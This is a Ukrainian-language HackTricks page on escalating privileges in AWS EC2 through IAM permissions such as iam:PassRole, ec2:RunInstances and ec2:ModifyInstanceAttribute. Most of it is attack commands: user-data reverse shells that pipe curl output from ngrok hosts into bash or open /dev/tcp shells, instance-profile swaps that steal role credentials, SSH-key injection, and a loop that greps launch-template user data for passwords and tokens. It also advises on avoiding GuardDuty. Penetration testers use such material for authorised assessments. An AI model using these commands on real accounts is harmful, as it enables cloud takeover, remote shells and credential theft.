AWS - EC2 Privesc

Support HackTricks

EC2

Для отримання більшої інформації про EC2 перевірте:

iam:PassRole, ec2:RunInstances

Зловмисник може створити екземпляр, прикріпивши IAM роль, а потім отримати доступ до екземпляра, щоб вкрасти облікові дані IAM ролі з кінцевої точки метаданих.

  • Доступ через SSH

Запустіть новий екземпляр, використовуючи створений ssh ключ (--key-name), а потім підключіться до нього через ssh (якщо ви хочете створити новий, вам може знадобитися дозвіл ec2:CreateKeyPair).

aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
--security-group-ids <sg-id>
  • Доступ через rev shell у даних користувача

Ви можете запустити новий екземпляр, використовуючи дані користувача (--user-data), які надішлють вам rev shell. Вам не потрібно вказувати групу безпеки таким чином.

echo '#!/bin/bash
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh

aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=E<instance-profile-name> \
--count 1 \
--user-data "file:///tmp/rev.sh"

Будьте обережні з GuradDuty, якщо ви використовуєте облікові дані IAM-ролі поза межами екземпляра:

Потенційний вплив: Пряме підвищення привілеїв до будь-якої ролі EC2, прикріпленої до існуючих профілів екземплярів.

Підвищення привілеїв до ECS

З цим набором дозволів ви також могли б створити екземпляр EC2 і зареєструвати його в кластері ECS. Таким чином, сервіси ECS будуть запущені всередині екземпляра EC2, до якого у вас є доступ, і тоді ви зможете проникнути в ці сервіси (контейнери docker) і викрасти їх ролі ECS.

aws ec2 run-instances \
--image-id ami-07fde2ae86109a2af \
--instance-type t2.micro \
--iam-instance-profile <ECS_role> \
--count 1 --key-name pwned \
--user-data "file:///tmp/asd.sh"

# Make sure to use an ECS optimized AMI as it has everything installed for ECS already (amzn2-ami-ecs-hvm-2.0.20210520-x86_64-ebs)
# The EC2 instance profile needs basic ECS access
# The content of the user data is:
#!/bin/bash
echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;

Щоб дізнатися, як примусити служби ECS працювати на цьому новому EC2 екземплярі, перегляньте:

Якщо ви не можете створити новий екземпляр, але маєте дозвіл ecs:RegisterContainerInstance, ви можете зареєструвати екземпляр у кластері та виконати коментовану атаку.

Потенційний вплив: Пряме підвищення привілеїв до ролей ECS, прикріплених до завдань.

iam:PassRole, iam:AddRoleToInstanceProfile

Подібно до попереднього сценарію, зловмисник з цими дозволами може змінити IAM роль скомпрометованого екземпляра, щоб він міг вкрасти нові облікові дані. Оскільки профіль екземпляра може мати лише 1 роль, якщо профіль екземпляра вже має роль (поширений випадок), вам також знадобиться iam:RemoveRoleFromInstanceProfile.

# Removing role from instance profile
aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-name <name>

# Add role to instance profile
aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>

Якщо профіль екземпляра має роль і атакуючий не може її видалити, є інший обхідний шлях. Він може знайти профіль екземпляра без ролі або створити новий (iam:CreateInstanceProfile), додати роль до цього профілю екземпляра (як обговорювалося раніше) і асоціювати профіль екземпляра з скомпрометованим iнстансом:

  • Якщо екземпляр не має жодного профілю екземпляра (ec2:AssociateIamInstanceProfile) *

aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>

Потенційний вплив: Пряме підвищення привілеїв до іншої ролі EC2 (вам потрібно зламати AWS EC2 інстанцію та мати додаткові дозволи або специфічний статус профілю інстанції).

iam:PassRole(( ec2:AssociateIamInstanceProfile& ec2:DisassociateIamInstanceProfile) || ec2:ReplaceIamInstanceProfileAssociation)

З цими дозволами можливо змінити профіль інстанції, асоційований з інстанцією, тому якщо атака вже мала доступ до інстанції, вона зможе вкрасти облікові дані для більшої кількості ролей профілю інстанції, змінивши той, що асоційований з нею.

  • Якщо є профіль інстанції, ви можете видалити профіль інстанції (ec2:DisassociateIamInstanceProfile) і асоціювати його *

aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
aws ec2 disassociate-iam-instance-profile --association-id <value>
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
  • або замінити профіль екземпляра скомпрометованого екземпляра (ec2:ReplaceIamInstanceProfileAssociation). *

```bash
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>
```

Потенційний вплив: Пряме підвищення привілеїв до іншої ролі EC2 (вам потрібно зламати екземпляр AWS EC2 і мати деякі додаткові дозволи або специфічний статус профілю екземпляра).

ec2:RequestSpotInstances,iam:PassRole

Зловмисник з дозволами ec2:RequestSpotInstancesтаiam:PassRole може запросити Spot Instance з прикріпленою роллю EC2 та rev shell у даних користувача. Після запуску екземпляра він може викрасти IAM роль.

REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)

aws ec2 request-spot-instances \
--instance-count 1 \
--launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}"

ec2:ModifyInstanceAttribute

Зловмисник з ec2:ModifyInstanceAttribute може змінювати атрибути екземплярів. Серед них він може змінити дані користувача, що означає, що він може змусити екземпляр виконувати довільні дані. Це може бути використано для отримання rev shell до EC2 екземпляра.

Зверніть увагу, що атрибути можна змінювати лише під час зупинки екземпляра, тому дозволи ec2:StopInstances та ec2:StartInstances.

TEXT='Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0

--//
Content-Type: text/cloud-config; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="cloud-config.txt"

#cloud-config
cloud_final_modules:
- [scripts-user, always]

--//
Content-Type: text/x-shellscript; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="userdata.txt"

#!/bin/bash
bash -i >& /dev/tcp/2.tcp.ngrok.io/14510 0>&1
--//'
TEXT_PATH="/tmp/text.b64.txt"

printf $TEXT | base64 > "$TEXT_PATH"

aws ec2 stop-instances --instance-ids $INSTANCE_ID

aws ec2 modify-instance-attribute \
--instance-id="$INSTANCE_ID" \
--attribute userData \
--value file://$TEXT_PATH

aws ec2 start-instances --instance-ids $INSTANCE_ID

Потенційний вплив: Пряме підвищення привілеїв до будь-якої EC2 IAM ролі, прикріпленої до створеного екземпляра.

ec2:CreateLaunchTemplateVersion,ec2:CreateLaunchTemplate,ec2:ModifyLaunchTemplate

Зловмисник з правами ec2:CreateLaunchTemplateVersion,ec2:CreateLaunchTemplateта ec2:ModifyLaunchTemplate може створити нову версію шаблону запуску з реверсною оболонкою в даних користувача та будь-якою EC2 IAM роллю на ньому, змінити версію за замовчуванням, і будь-яка група Autoscaler, яка використовує цей шаблон запуску, що налаштована на використання останній або версії за замовчуванням, буде знову запускати екземпляри, використовуючи цей шаблон, і виконає реверсну оболонку.

REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)

aws ec2 create-launch-template-version \
--launch-template-name bad_template \
--launch-template-data "{\"ImageId\": \"ami-0c1bc246476a5572b\", \"InstanceType\": \"t3.micro\", \"IamInstanceProfile\": {\"Name\": \"ecsInstanceRole\"}, \"UserData\": \"$REV\"}"

aws ec2 modify-launch-template \
--launch-template-name bad_template \
--default-version 2

Потенційний вплив: Пряме підвищення привілеїв до іншої ролі EC2.

autoscaling:CreateLaunchConfiguration, autoscaling:CreateAutoScalingGroup, iam:PassRole

Зловмисник з дозволами autoscaling:CreateLaunchConfiguration,autoscaling:CreateAutoScalingGroup,iam:PassRole може створити конфігурацію запуску з IAM роллю та rev shell всередині даних користувача, потім створити групу автоскалювання з цієї конфігурації та чекати, поки rev shell вкраде IAM роль.

aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
--launch-configuration-name bad_config \
--image-id ami-0c1bc246476a5572b \
--instance-type t3.micro \
--iam-instance-profile EC2-CloudWatch-Agent-Role \
--user-data "$REV"

aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
--auto-scaling-group-name bad_auto \
--min-size 1 --max-size 1 \
--launch-configuration-name bad_config \
--desired-capacity 1 \
--vpc-zone-identifier "subnet-e282f9b8"

Потенційний вплив: Пряме підвищення привілеїв до іншої ролі EC2.

!autoscaling

Набір дозволів ec2:CreateLaunchTemplate та autoscaling:CreateAutoScalingGroup не є достатніми для підвищення привілеїв до ролі IAM, оскільки для прикріплення ролі, зазначеної в Конфігурації запуску або в Шаблоні запуску, вам потрібні дозволи iam:PassRole та ec2:RunInstances (що є відомим підвищенням привілеїв).

ec2-instance-connect:SendSSHPublicKey

Зловмисник з дозволом ec2-instance-connect:SendSSHPublicKey може додати ssh ключ до користувача і використовувати його для доступу (якщо у нього є ssh доступ до екземпляра) або для підвищення привілеїв.

aws ec2-instance-connect send-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--instance-os-user "ec2-user" \
--ssh-public-key "file://$PUBK_PATH"

Потенційний вплив: Пряме підвищення привілеїв до IAM ролей EC2, прикріплених до запущених екземплярів.

ec2-instance-connect:SendSerialConsoleSSHPublicKey

Зловмисник з дозволом ec2-instance-connect:SendSerialConsoleSSHPublicKey може додати ssh ключ до серійного з'єднання. Якщо серійне з'єднання не активоване, зловмисник потребує дозволу ec2:EnableSerialConsoleAccess для його активації.

Щоб підключитися до серійного порту, вам також потрібно знати ім'я користувача та пароль користувача всередині машини.

aws ec2 enable-serial-console-access

aws ec2-instance-connect send-serial-console-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--serial-port 0 \
--region "eu-west-1" \
--ssh-public-key "file://$PUBK_PATH"

ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws

Цей спосіб не є особливо корисним для підвищення привілеїв, оскільки вам потрібно знати ім'я користувача та пароль, щоб його експлуатувати.

Потенційний вплив: (Дуже важко довести) Пряме підвищення привілеїв до EC2 IAM ролей, прикріплених до запущених екземплярів.

describe-launch-templates,describe-launch-template-versions

Оскільки шаблони запуску мають версії, зловмисник з правами ec2:describe-launch-templates та ec2:describe-launch-template-versions може використати їх для виявлення чутливої інформації, такої як облікові дані, присутні в даних користувача. Для цього наступний скрипт проходить через усі версії доступних шаблонів запуску:

for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
do
echo "[*] Analyzing $i"
aws ec2 describe-launch-template-versions --launch-template-id $i --region us-east-1 | jq -r '.LaunchTemplateVersions[] | "\(.VersionNumber) \(.LaunchTemplateData.UserData)"' | while read version userdata
do
echo "VersionNumber: $version"
echo "$userdata" | base64 -d
echo
done | grep -iE "aws_|password|token|api"
done

У наведених командах, хоча ми вказуємо певні шаблони (aws_|password|token|api), ви можете використовувати інший regex для пошуку інших типів чутливої інформації.

Припустимо, ми знаходимо aws_access_key_id та aws_secret_access_key, ми можемо використовувати ці облікові дані для автентифікації в AWS.

Потенційний вплив: Пряме підвищення привілеїв до IAM користувачів.

Посилання

Підтримати HackTricks

Last updated